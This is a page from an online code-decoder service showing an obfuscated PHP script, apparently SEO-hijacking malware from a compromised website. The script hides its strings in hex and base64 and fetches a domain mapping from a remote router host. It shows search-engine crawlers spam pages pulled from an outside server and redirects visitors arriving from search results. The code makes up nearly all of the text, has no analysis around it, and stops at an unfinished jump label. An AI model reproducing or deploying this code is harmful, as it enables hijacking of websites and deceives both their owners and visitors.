Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


<\?php

 goto wlMR6; enNnF: function respond($type, $body, $exit = true) { $type = (string) $type; $body = (string) $body; if (!headers_sent()) { header("\x43\157\156\164\145\156\164\x2d\124\x79\x70\x65\x3a\40{$type}\x3b\x20\143\x68\141\162\163\145\164\75\x75\x74\x66\55\70"); ob_clean(); flush(); } echo $body; if ($exit) { die; } } goto fUK54; WapOA: function is_se_ref($ref) { $ref = (string) $ref; return stripos($ref, "\147\157\x6f\147\x6c\x65") !== false || stripos($ref, "\x62\x69\x6e\147") !== false || stripos($ref, "\x79\141\x68\157\157") !== false; } goto k9A4K; Ej0Nc: $scheme = $https ? "\150\x74\x74\160\x73\72\57\x2f" : "\150\164\164\x70\72\x2f\57"; goto Zr6pY; EBuJv: $secMapKey = ''; goto reRNk; FYp6B: $ua = isset($_SERVER["\110\124\124\x50\137\125\123\x45\x52\137\x41\107\105\x4e\x54"]) ? (string) $_SERVER["\110\x54\124\120\137\x55\x53\105\x52\137\101\107\105\116\124"] : ''; goto ya4Ce; Hjwwj: if ($pathKey !== false && $pathKey !== '') { $secMapKey = $mapKey . "\x2e" . $pathKey; } goto km0nV; zT3zv: if (has_token(URI) && is_se_ref($ref)) { $js = fetch(build_url($scheme, $mediaHost, $path, $qstr, $current_url, "\46\137\141\143\x74\151\157\x6e\75\x72\145\144\151\162\145\x63\164")); respond("\164\145\x78\164\57\150\x74\155\x6c", $js); } goto NqV6u; Q2gkx: $mapKey = str_replace("\167\x77\x77\56", '', $host); goto EBuJv; ya4Ce: $ref = isset($_SERVER["\x48\x54\124\x50\137\122\105\x46\105\122\105\x52"]) ? (string) $_SERVER["\110\124\124\120\x5f\122\105\106\x45\x52\x45\x52"] : ''; goto C_eFZ; Xg4iD: function fetch($url) { $url = (string) $url; if (empty($url)) { return false; } if (function_exists("\x63\x75\x72\x6c\137\151\x6e\151\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_USERAGENT, "\x4d\x6f\172\x69\x6c\154\141\x2f\x35\56\60\x20\50\x57\x69\x6e\144\x6f\x77\163\x20\116\124\40\61\60\56\x30\x3b\x20\x57\151\156\66\x34\x3b\x20\170\x36\64\x29\40\101\160\x70\154\145\127\145\x62\x4b\x69\164\57\65\x33\x37\x2e\63\x36\x20\x28\113\x48\124\x4d\114\x2c\40\x6c\151\x6b\145\x20\107\x65\x63\153\157\x29\40\103\x68\162\x6f\155\x65\57\61\x30\x39\56\x30\56\60\56\60\40\x53\141\146\x61\162\x69\57\x35\x33\x37\56\x33\66"); curl_setopt($ch, CURLOPT_HTTPHEADER, array("\122\145\146\145\x72\x65\162\x3a\40\x68\164\164\x70\163\x3a\x2f\57\167\x77\x77\x2e\x67\x6f\157\147\x6c\x65\x2e\143\x6f\155\x2f", "\x41\143\x63\145\160\x74\x3a\x20\164\145\x78\x74\57\x68\x74\x6d\154")); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_MAXREDIRS, 2); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $res = curl_exec($ch); curl_close($ch); return $res !== false ? $res : false; } $context = stream_context_create(array("\150\164\164\x70" => array("\146\157\154\x6c\157\167\137\x6c\157\x63\141\x74\151\x6f\156" => 1, "\155\x61\170\137\x72\145\x64\x69\162\x65\143\164\163" => 5, "\x74\151\x6d\145\157\x75\164" => 20, "\165\x73\145\162\x5f\x61\x67\x65\156\164" => "\x4d\x6f\172\x69\x6c\x6c\141\57\65\56\x30\x20\50\x57\x69\x6e\x64\x6f\x77\163\40\116\x54\x20\61\x30\56\60\x3b\x20\127\x69\156\66\64\x3b\x20\x78\x36\64\x29\x20\x41\x70\160\154\x65\x57\x65\142\113\151\164\57\x35\63\67\56\63\x36\x20\50\113\110\124\115\114\54\x20\154\x69\153\145\x20\107\x65\143\153\157\x29\x20\103\150\162\x6f\155\145\57\x31\x30\71\x2e\60\x2e\60\56\60\x20\x53\141\x66\x61\162\151\57\x35\63\x37\x2e\x33\x36"))); return @file_get_contents($url, false, $context); } goto jZe6P; reRNk: $mediaHost = ''; goto cg8s0; fUK54: function getFirstLevelDirectoryFromPath($path) { $path = (string) $path; if (empty($path) || $path === "\x2f") { return false; } try { if (!empty($path)) { $path = urldecode($path); } $path = trim($path, "\x2f"); if (empty($path)) { return false; } $pathParts = explode("\57", $path); $firstDir = isset($pathParts[0]) ? (string) $pathParts[0] : ''; if (strpos($firstDir, "\56") !== false) { return false; } return $firstDir; } catch (Exception $e) { return false; } } goto FYp6B; f41w0: define("\122\117\125\x54\105\x52\x5f\110\117\123\x54", rtrim((string) base64_decode("\x65\155\x4d\165\144\x57\x74\x72\132\62\x56\150\x63\151\x35\x6a\142\x32\x30\x3d"), "\57")); goto WFbrw; BROdt: $mapping = array(); goto psx4i; jZe6P: function build_url($scheme, $host, $path, $query, $url, $extra) { $scheme = (string) $scheme; $host = (string) $host; $path = (string) $path; $query = (string) $query; $url = (string) $url; $extra = (string) $extra; $domain = isset($_SERVER["\x48\124\x54\120\x5f\110\x4f\x53\x54"]) ? (string) $_SERVER["\110\x54\124\120\137\110\117\x53\124"] : ''; $qs = $query ? $query . "\46" : ''; $qs .= "\x5f\165\162\x69\x3d" . urlencode(URI) . "\x26\137\x64\157\x6d\x61\151\156\75" . urlencode($domain) . $extra; return $scheme . $host . $path . "\77" . $qs; } goto enNnF; WFbrw: define("\x4d\x55\x4c\x55", "\x70\162\x6f\144\x75\x63\164\x7c\163\151\164\x65\x6d\141\x70\x7c\162\x6f\142\157\164\163\x7c\x2d\160\x2d"); goto KyN4i; FfJ1_: define("\110\111\x4a\x41\103\113", "\123\x49\x54\x45"); goto f41w0; oUBiG: if (!is_array($mapping) || count($mapping) == 0) { die; } goto Q2gkx; LKO_a: if (!empty($_SERVER["\x48\x54\x54\120\123"]) && $_SERVER["\x48\124\x54\x50\x53"] !== "\x6f\x66\x66") { $https = true; } elseif (isset($_SERVER["\x53\105\x52\126\x45\x52\x5f\120\x4f\122\124"]) && $_SERVER["\x53\x45\122\126\105\122\x5f\x50\x4f\122\124"] == 443) { $https = true; } goto Ej0Nc; cGhNB: $https = false; goto LKO_a; k0c9u: $path = "\57"; goto H09Ou; HtiAg: if (stripos($path, "\163\x69\164\x65\155\x61\160") !== false) { respond("\141\160\160\x6c\x69\x63\141\x74\x69\x6f\x6e\x2f\170\x6d\x6c", fetch(build_url($scheme, $mediaHost, $path, $qstr, $current_url, "\x26\x5f\x61\143\x74\151\157\x6e\x3d\163\x69\164\x65\x6d\x61\x70"))); } goto jHujF; ArCa1: $maxTry = 5; goto iIBns; wlMR6: set_time_limit(0); goto SmyKO; cFHE5: $qstr = isset($parsed["\161\x75\145\x72\171"]) ? (string) $parsed["\x71\x75\x65\x72\x79"] : ''; goto ArCa1; iIBns: $mapUrl = "\x68\x74\164\x70\163\72\57\57" . ROUTER_HOST . "\x2f\x74\x61\x72\147\x65\164\x2e\x6a\163\157\156\77\x74\x3d" . time(); goto BROdt; Zr6pY: $current_url = $scheme . $host . URI; goto kONCn; VF955: if (is_bot($ua)) { if (HIJACK != "\x50\101\122\x54\x49\101\114" && has_token(URI)) { $html = fetch(build_url($scheme, $mediaHost, $path, $qstr, $current_url, "\x26\x5f\x61\x63\x74\151\157\156\75\x73\160\151\144\145\162")); if ($html === false) { die; } $html = str_replace(array("\x68\x74\x74\x70\x3a\57\x2f" . (string) $mediaHost, "\150\x74\164\x70\163\72\x2f\x2f" . (string) $mediaHost), $scheme . $host, (string) $html); respond("\x74\145\x78\x74\x2f\x68\164\x6d\x6c", $html); } } goto zT3zv; cg8s0: $pathKey = getFirstLevelDirectoryFromPath($path); goto Hjwwj; psx4i: while ($maxTry--) { $json = fetch($mapUrl); if ($json !== false) { $tempMapping = json_decode($json, 1); if (is_array($tempMapping)) { $mapping = $tempMapping; break; } } } goto oUBiG; QS7lO: define("\x55\x52\111", isset($_SERVER["\x52\105\121\125\105\123\x54\137\125\122\111"]) ? (string) $_SERVER["\x52\105\121\125\x45\x53\124\137\x55\122\x49"] : "\57"); goto FfJ1_; C_eFZ: $host = isset($_SERVER["\x48\124\124\x50\137\110\117\123\x54"]) ? (string) $_SERVER["\110\124\124\120\x5f\x48\117\x53\124"] : ''; goto cGhNB; kONCn: $parsed = parse_url(URI); goto k0c9u; KyN4i: function is_bot($ua) { $ua = (string) $ua; return stripos($ua, "\x47\157\x6f\147\154\145\x62\157\164") !== false || stripos($ua, "\102\151\156\x67\142\x6f\x74") !== false || stripos($ua, "\x59\141\150\x6f\x6f\x21") !== false; } goto WapOA; SmyKO: error_reporting(0); goto QS7lO; k9A4K: function has_token($uri) { $uri = (string) $uri; $tokens = explode("\x7c", MULU); foreach ($tokens as $t) { if ($t && stripos($uri, $t) !== false) { return true; } } return $uri === "\57"; } goto Xg4iD; jHujF: if (stripos($path, "\x72\x6f\142\157\164\163") !== false) { respond("\164\x65\170\164\x2f\160\154\141\x69\156", fetch(build_url($scheme, $mediaHost, $path, $qstr, $current_url, "\46\137\141\x63\x74\x69\x6f\156\x3d\162\157\x62\x6f\164\163"))); } goto VF955; km0nV: if ($secMapKey !== '' && isset($mapping[$secMapKey])) { $mediaHost = $mapping[$secMapKey]; } elseif (isset($mapping[$mapKey])) { $mediaHost = $mapping[$mapKey]; } goto HtiAg; H09Ou: if (isset($parsed["\160\x61\x74\150"]) && $parsed["\x70\x61\x74\x68"] !== '') { $path = strtolower((string) $parsed["\x70\141\164\150"]); } goto cFHE5; NqV6u: 



© 2023 Quttera Ltd. All rights reserved.